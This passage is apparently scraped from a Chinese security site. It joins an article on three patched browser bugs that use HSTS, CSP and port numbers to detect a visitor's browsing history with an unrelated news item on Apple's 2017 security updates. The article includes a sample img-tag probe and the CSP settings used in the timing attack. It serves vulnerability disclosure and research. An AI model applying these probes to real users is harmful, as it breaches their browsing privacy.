上一节所述的都是HSTS好的一方面,下面来说HSTS导致的问题。第一个漏洞是我和Vlad Tsyrklevich在2014年独立发现的 [4][5]。简单来说,如果www.example.com开启了HSTS,如果用户没有访问过它,那么http://www.example.com:443/favicon.ico一定会访问失败。如果访问过,那么HSTS会使浏览器请求https://www.example.com:443/favicon.ico,这样就会成功(如果不存在favicon.ico这个图片的话,就任选一个这个域名下其他图片地址)。所以我们用<img src="http://www.example.com:443/favicon.ico" onerror="not_visited()" onload="visited()">,如果onerror被调用就说明没有访问过www.example.com,如果onload被调用就说明访问过。

这个方法有一定的限制,比如被测试的域名必须要使用HSTS,并且不能在HSTS预置列表中。而且只能判断一个域名是否访问过,而无法测试整个URL是否被访问过。

这个漏洞我报给了Chromium团队,报告和完整PoC可参见 [4]。我的建议是禁止http协议使用443端口。但是由于这样会给WebSocket造成兼容性问题,并且这个漏洞影响小,所以他们最终决定不修复这个漏洞。

网站可以把自己的域名提交到HSTS预置列表来规避这个漏洞。用户可以通过清空历史纪录避免这个漏洞,因为清空历史记录会同时清空动态设定的HSTS记录。

三、漏洞二:Sniffly — 利用HSTS和CSP探测历史纪录

这个漏洞是由雅虎的安全工程师Yan Zhu于2015年发现的。她在Toorcon 2015会议上讲述了这个漏洞(演讲视频参见[6],幻灯片参见[7]),并把这个漏洞命名为Sniffly。Freebuf之前也有一篇文章《Sniffly: 利用HSTS和CSP嗅探浏览器历史记录》[8],就是写这个漏洞的。

这个漏洞利用CSP(内容安全策略)来阻止https协议的图片,而同时允许http协议。这个CSP是这样设置的:Content-Security-Policy: img-src http://*。这样如果有一个http到https的重定向,那么这个CSP将在这个重定向发生之后,阻止https请求,并调用onerror handler。攻击者可以使用JavaScript来测从http请求发出到https被阻止之间的时间间隔,这个时间间隔就是重定向所需时间。如果这个时间很短(小于10毫秒),那么我们可以认为浏览器没有向服务器发送任何请求,也就是说这个重定向来源于HSTS或者是缓存的301重定向。这样我们就知道用户曾经访问过这个域名。

这个漏洞很快地在Chrome中修复了,漏洞编号是CVE-2016-1617。修复方法是:如果CSP中指定了http://*,则它同时允许http和https协议。这样就没法用这个方法屏蔽http到https的重定向。Yan Zhu给Chrome提交的漏洞报告和PoC可参见 [9]。

四、漏洞三:利用HSTS、CSP和端口号探测历史记录

这个漏洞是我在2016年,看完漏洞二的细节后想出来的绕过方法。首先我们看Google对漏洞二的修复代码 [10]:

补丁在WebKit/Source/core/frame/csp/CSPSource.cpp文件中的CSPSource::schemeMatches函数中加入了下面4行代码:

if (equalIgnoringCase(m_scheme, "http"))
    return equalIgnoringCase(url.protocol(), "http") || equalIgnoringCase(url.protocol(), "https");
if (equalIgnoringCase(m_scheme, "ws"))
    return equalIgnoringCase(url.protocol(), "ws") || equalIgnoringCase(url.protocol(), "wss");

这个代码的意思就是当CSP中的协议是http时,url的协议是http或https都能成功匹配。ws是WebSocket协议,同样CSP中指定的ws协议可以同时匹配ws和wss。

很显然这个修复只考虑了URL中的协议部分,所以我想到利用漏洞一中的技巧,我们在CSP中显式指定端口号,就绕过了修复。

比如,我们设置这个CSP策略:img-src http://example.com:80。漏洞二修复之后,这个CSP会允许http://example.com:80https://example.com:80,但是后一个URL并没有意义,因为https不用80端口,而真正的https://example.com依然被阻止,因为https的端口号不匹配”:80”。有了这个思路之后,剩下的利用方法就和漏洞二一样了,也是测http到https的重定向时间。

这个漏洞同时存在于Chrome、Firefox、WebKit。但Edge、IE不存在这个漏洞。Edge是在https请求返回之后才调用onerror,所以Edge中无法计算重定向时间。

给Chrome的报告和PoC在[11],给Mozilla的报告在[12],给WebKit的报告在[13]。他们都早已修复完毕。漏洞编号是CVE-2016-5137(Chrome)和CVE-2016-9017(Firefox)。Google还给了我1000美元奖金。

五、总结

这篇文章主要介绍了什么是HSTS以及和HSTS相关的三个漏洞。这三个漏洞影响都不大,但是我写出来主要为了分享,如何灵活运用端口号这个技巧来绕过相关限制。HSTS其实还能当Cookie用,也是HSTS带来的隐私问题,鉴于和本文关系不大,就不涉及了,想了解的话可参见[14]。

六、参考文献

*本文原创作者:tocttou,本文属FreeBuf原创奖励计划,未经许可禁止转载0day

【国际资讯】苹果并非刀枪不入,近日发布多个补丁修复安全漏洞

作者:360代码卫士

http://p3.qhimg.com/t01182d1f5916f2b032.png

翻译:360代码卫士

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

当Windows用户都在担心操作系统遭受想哭勒索蠕虫劫持时,苹果用户还在高枕无忧地认为恶意软件的攻击奈何不了他们。但实际并非如此,苹果产品也并非刀枪不入,一本电子书就能黑掉Mac、iPhone和iPad。

周一,苹果为iOS、macOS、Safari、tvOS、iCloud、iTunes和watchOS发布软件更新,修复了共69个安全漏洞,其中很多漏洞都可被用于在受影响系统上执行远程代码。

http://p0.qhimg.com/t01d7d76727b24408f6.png

其中包含多个漏洞为pwn2own竞赛时,多家厂商参赛时使用的漏洞。关于pwn2own的相关资讯,可以点击:http://bobao.360.cn/news/detail/4067.html查看。

iPhone、iPad和iPod:iOS 10.3.2


苹果的iPhone、iPad和iPod Touch移动操作系统iOS 10.3.2解决了41个安全缺陷,其中23个缺陷存在于WebKit中,包括17个远程代码执行漏洞和5个跨站脚本漏洞。

此外,iOS 10.3.2还解决了iOS版本的iBook中的两个漏洞 (CVE-2017-2497和CVE-2017-6981),该漏洞如被利用可导致通过电子书打开任意网站并以根权限执行恶意代码。

iOS 10.3.2解决的问题还包括AVE视频编码中的一个内存损坏问题,它可导致恶意应用程序获取内核级别的权限;还解决了旨在处理不受信任证书的证书信任策略中的证书验证问题。

苹果用户可将iOS设备连接到iTunes或直接下载安装iOS 10.3.2解决这些问题。

El Capitan和Yosemite:macOS Sierra 10.12.5


苹果的Mac操作系统macOS Sierra 10.12.5共解决了37个漏洞,包括iBook中可导致以根权限执行任意代码的几个漏洞以及另外一个能导致应用程序逃逸安全沙箱的问题。

另外解决的问题还包括能窃取网络凭证的无线网络问题、因特尔和恩威迪亚 (Nvidia) 显卡驱动中的权限升级问题以及SOLite中的四个任意代码执行缺陷。

Mac用户可通过苹果应用商店→更新路径下载更新,或者macOS Sierra用户将Sierra 10.12.5作为单独更新下载,OS X EI Captain用户可从此处下载,OS X Yosemite用户点此下载。

http://p8.qhimg.com/t01f7baebc4bee25fc9.jpg

苹果浏览器:Safari 10.1.1


Safari 10.1.1解决了26个安全问题,其中23个存在于WebKit中;并且很多问题已在iOS 10.3.2中修复。其余的三个问题在Safari浏览器中修复。用户可手动下载Safari 10.1.1更新。

苹果手表:watchOS 3.2.2


苹果手表用户应该安装修复了12个安全漏洞的watchOS 3.2.2。攻击者可利用其中的四个漏洞在受影响设备中执行远程代码。苹果手表用户可将手表连接至充电器并在iPhone手机上打开苹果手表app→我的手表选项卡→通用→软件更新下载watchOS 3.2.2。

苹果电视:tvOS 10.2.1


苹果公司还发布了tvOS 10.2.1解决了23个问题,其中12个漏洞存在于WebKit引擎中,能让攻击者在目标设备上执行跨站脚本攻击和远程代码执行攻击。tvOS 10.2.1更新可直接从苹果电视上下载(设置→系统→更新软件)。

Windows:iTunes 12.6.1和iCloud 6.2.1


同时,苹果公司还为使用iTunes和iCloud的Windows用户发布了补丁。iTunes 12.6.1和iCloud 6.2.1都修复了Windows 7及之后版本中的一个远程代码执行漏洞。

建议苹果用户尽快更新苹果产品和Safari的所有操作系统,以防遭受犯罪分子攻击。自动更新也可应用补丁。


本文转载自 thehackernews.com
原文链接:http://thehackernews.com/2017/05/apple-security-patches.html0day